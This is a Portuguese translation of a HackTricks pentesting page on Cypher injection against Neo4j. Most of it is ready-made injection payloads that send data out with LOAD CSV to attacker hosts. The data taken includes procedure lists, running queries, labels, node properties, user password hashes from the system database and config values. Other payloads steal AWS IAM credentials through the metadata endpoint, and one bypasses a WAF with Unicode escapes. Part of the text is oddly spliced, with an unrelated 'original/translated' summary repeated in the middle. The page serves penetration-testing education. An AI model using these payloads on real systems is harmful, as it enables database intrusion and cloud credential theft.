hacktricks/pentesting-web/sql-injection/cypher-injection-neo4j.md
2023-06-06 18:56:34 +00:00

20 KiB

Injeção de Cypher (neo4j)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Injeções de Cypher Comuns

As declarações MATCH e WHERE são cenários comuns.

Quando encontramos uma injeção, a maneira de explorá-la depende da localização dentro da consulta. Abaixo está uma tabela de diferentes locais de injeção e exemplos de exploração:

Consulta injetável Injeção
MATCH (o) WHERE o.Id='{input}' ' OR 1=1 WITH 0 as _l00 {…} RETURN 1 //

MATCH (o) WHERE '{input}' = o.Id
MATCH (o) WHERE {input} in [diferentes, valores]

'=' {…} WITH 0 as _l00 RETURN 1 //
MATCH (o) WHERE o:{input} a {…} WITH 0 as _l00 RETURN 1 //
MATCH (o) WHERE o:`{input}` a` {...} WITH 0 as _l00 RETURN 1 //
MATCH (o {id:'{input}'}) '}) RETURN 1 UNION MATCH (n) {...} RETURN 1 //
MATCH (o:{input}) a) RETURN 1 UNION MATCH (n){...} RETURN 1//
MATCH (o:`{input}`) a`) RETURN 1 UNION MATCH (n){...} RETURN 1 //
MATCH (o)-[r {id:'{input}'})]-(o2) '}]-() RETURN 1 UNION MATCH (n){...} RETURN 1//
MATCH (o)-[r:{input}]-(o2) a]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //
MATCH (o)-[r:`{input}`]-(o2) a`]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //

Observe a declaração UNION:

  1. A razão pela qual UNION é necessária é que, se a declaração MATCH não retornar nada, o restante da consulta não será executado. Portanto, todas as coisas nefastas que podemos fazer lá simplesmente não serão executadas.
  2. Adicionamos "RETURN 1" antes da UNION para que ambas as partes retornem as mesmas colunas, o que é necessário para a consulta ser executada.

Então, qual é a declaração "WITH"?

Usando WITH, podemos descartar todas as variáveis existentes. Isso é importante quando não sabemos qual é a consulta (mais sobre isso depois). Se nossa carga útil tentar definir uma variável que já existe, a consulta falhará ao ser executada.

Naturalmente, se conhecemos a consulta e o banco de dados, nenhuma dessas técnicas é necessária. Podemos até manipular os dados retornados para, por sua vez, manipular o processo em vez de apenas abusar do servidor.

Exfiltração HTTP

É possível usar o seguinte método para exfiltrar informações para o domínio controlado pelo atacante:

LOAD CSV FROM 'https://attacker.com/'

Original text:

## Cypher Injection (Neo4j)

Cypher is a query language used by Neo4j, a popular graph database. Cypher injection is similar to SQL injection, but instead of injecting SQL code, we inject Cypher code.

### Basic Injection

The most basic injection is to inject a `MATCH` clause that returns all nodes in the database:

MATCH (n) RETURN n


### Retrieving Sensitive Information

To retrieve sensitive information, we can inject a `MATCH` clause that returns the desired nodes and their properties:

MATCH (n:User) RETURN n.username, n.password


### Modifying the Database

We can also modify the database by injecting a `CREATE` or `MERGE` clause:

CREATE (n:Malware {name: 'WannaCry'})


### Preventing Injection

To prevent Cypher injection, we can use parameterized queries. Here's an example:

String query = "MATCH (n:User {username: $username, password: $password}) RETURN n"; Map<String, Object> parameters = new HashMap<>(); parameters.put("username", username); parameters.put("password", password); Result result = session.run(query, parameters);


In this example, the `$username` and `$password` variables are replaced with the actual values when the query is executed, preventing injection.

Translated text:

## Injeção de Cypher (Neo4j)

Cypher é uma linguagem de consulta usada pelo Neo4j, um popular banco de dados de gráficos. A injeção de Cypher é semelhante à injeção de SQL, mas em vez de injetar código SQL, injetamos código Cypher.

### Injeção Básica

A injeção mais básica é injetar uma cláusula `MATCH` que retorna todos os nós no banco de dados:

MATCH (n) RETURN n


### Recuperando informações sensíveis

Para recuperar informações sensíveis, podemos injetar uma cláusula `MATCH` que retorna os nós desejados e suas propriedades:

MATCH (n:User) RETURN n.username, n.password


### Modificando o banco de dados

Também podemos modificar o banco de dados injetando uma cláusula `CREATE` ou `MERGE`:

CREATE (n:Malware {name: 'WannaCry'})


### Prevenindo Injeção

Para prevenir a injeção de Cypher, podemos usar consultas parametrizadas. Aqui está um exemplo:

String query = "MATCH (n:User {username: $username, password: $password}) RETURN n"; Map<String, Object> parameters = new HashMap<>(); parameters.put("username", username); parameters.put("password", password); Result result = session.run(query, parameters);


Neste exemplo, as variáveis `$username` e `$password` são substituídas pelos valores reais quando a consulta é executada, prevenindo a injeção.
```sql
// Injection in:
MATCH (o) WHEREo.Id='{input}' RETURN o

// Injection to get all the preocedures
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // 

APOC

A primeira coisa que um invasor deve verificar é se o APOC está instalado. O APOC (procedimentos incríveis no Cypher) é um plugin extremamente popular, oficialmente suportado pelo Neo4j, que melhora muito suas capacidades. O APOC adiciona muitas funções e procedimentos adicionais que os desenvolvedores podem usar em seu ambiente. Os invasores podem usar os vários procedimentos e funções que o APOC oferece para realizar ataques mais avançados.

Procedimentos para processar dados e enviar solicitações HTTP

  • apoc.convert.toJson — converte nós, mapas e mais em JSON
  • apoc.text.base64Encode — obtém uma string e a codifica como base64

É possível definir cabeçalhos e enviar outros métodos além do GET. Exemplos:

{% code overflow="wrap" %}

CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value 

CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list 

Procedimentos para avaliar consultas

  • apoc.cypher.runFirstColumnMany - uma função que retorna os valores da primeira coluna como uma lista
  • apoc.cypher.runFirstColumnSingle - uma função que retorna o primeiro valor da primeira coluna
  • apoc.cypher.run - um procedimento que executa uma consulta e retorna os resultados como um mapa
  • apoc.cypher.runMany - um procedimento que executa uma consulta ou várias consultas separadas por ponto e vírgula e retorna os resultados como um mapa. As consultas são executadas em uma transação diferente.

Extraindo informações

Versão do servidor

Uma maneira de obter a versão do servidor é usar o procedimento dbms.components()

' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 // 

Obter consulta em execução

A maneira mais fácil é usar o procedimento dmbs.listQueries().

' OR 1=1 call dbms.listQueries() yield query LOAD CSV FROM 'http://10.0.2.4:8000/?' + query as l RETURN 1 // 

{% endcode %}

No Neo4j 5 dbms.listQueries foi removido. Em vez disso, podemos usar "SHOW TRANSACTIONS". Existem duas limitações principais: as consultas SHOW não são injetáveis, e ao contrário de listQueries, podemos ver apenas a consulta atualmente executada na transação e não todas elas.

Se o APOC core estiver instalado, podemos usá-lo para executar SHOW TRANSACTIONS. Se executarmos na mesma transação, apenas SHOW TRANSACTIONS será retornado em vez da consulta que estamos tentando ver. Podemos usar apoc.cypher.runMany para executar SHOW TRANSACTIONS, porque ao contrário de outras funções e procedimentos apoc.cypher, ele é executado em uma transação diferente.

' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1//

Obter rótulos

Usando o método integrado db.labels, é possível listar todos os rótulos existentes.

{% code overflow="wrap" %}

'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip/?l='+label as l RETURN 0 as _0 

Obter propriedades de uma chave

A função integrada keys pode ser usada para listar as chaves das propriedades (Isso não funcionará se um dos campos for uma lista ou um mapa).

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

Se o APOC estiver disponível, há uma maneira melhor de fazer isso usando apoc.convert.toJson

' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 // 

Obter funções e procedimentos

Usando os procedimentos internos dbms.functions() e dbms.procedures() é possível listar todas as funções e procedimentos.

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //

{% endcode %}

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // 

{% endcode %}

Esses procedimentos foram removidos no Neo4j 5. Em vez disso, podemos usar SHOW PROCEDURES e SHOW FUNCTIONS. Consultas SHOW não podem ser injetadas.

Se o APOC core estiver instalado, podemos usar qualquer um dos procedimentos ou funções que executam consultas para listar funções e procedimentos.

' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // 
' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value 
LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 // 

Obter banco de dados do sistema

O banco de dados do sistema é um banco de dados Neo4j especial que normalmente não pode ser consultado. Ele contém dados interessantes armazenados como nós:

  • Bancos de dados
  • Funções
  • Usuários (incluindo o hash da senha!)

Usando o APOC, é possível recuperar os nós, incluindo os hashes. Apenas administradores podem fazer isso, mas na edição gratuita do Neo4j, há apenas um usuário administrador e nenhum outro usuário, então não é incomum se encontrar executando como administrador.

Use o procedimento apoc.systemdb.graph() para recuperar os dados.

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as a  call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //  

{% endcode %}

O Neo4j usa o SimpleHash do Apache Shiro para gerar o hash.

O resultado é armazenado como uma string de valores separados por vírgula:

  • Algoritmo de hash
  • Hash
  • Salt
  • Iterações

Por exemplo:

SHA-256, 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c,a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270,1024 

Obter variáveis de ambiente

Usando o APOC, é possível recuperar a variável de ambiente usando o procedimento apoc.config.map() ou apoc.config.list().

Esses procedimentos só podem ser usados se estiverem incluídos na lista de procedimentos não restritos no arquivo de configuração (dbms.security.procedures.unrestricted). Isso é mais comum do que se pensa, e pesquisar o nome da configuração resulta em muitos sites e guias que aconselham a adicionar o valor "apoc.*", o que permite todos os procedimentos APOC.

' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 // 

Nota: no Neo4j5, os procedimentos foram movidos para o APOC estendido.

Endpoint de Metadados da Nuvem AWS

IMDSv1

{% code overflow="wrap" %}

LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l
  
WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _ 

IMDSv2

Precisamos especificar cabeçalhos e precisamos usar métodos diferentes de GET.

LOAD CSV não pode fazer nenhuma dessas coisas, mas podemos usar apoc.load.csvParams para obter o token e a função, e depois apoc.load.jsonParams para obter as credenciais em si. A razão pela qual usamos csvParams é que a resposta não é um JSON válido.

{% endcode %}

CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token 

CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role  

CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value 

{% endcode %}

Contate diretamente a API da AWS

{% code overflow="wrap" %}

CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list 

{% endcode %}

Bypass do WAF

Injeção de Unicode

No Neo4j >= v4.2.0, é frequentemente possível injetar Unicode usando "\uXXXX". Por exemplo, você pode usar este método se o servidor tentar remover caracteres como: ', ", ` e assim por diante.

Isso pode não funcionar se uma letra seguir a sequência de escape Unicode. É seguro adicionar um espaço depois ou outra notação Unicode.

Por exemplo, se o servidor remover aspas simples, e a consulta parecer com a seguinte:

MATCH (a: {name: '$INPUT'}) RETURN a 

É possível injetar:

{% code overflow="wrap" %}

\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker/ "+ label RETURN 0 as _o // 

{% endcode %}

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥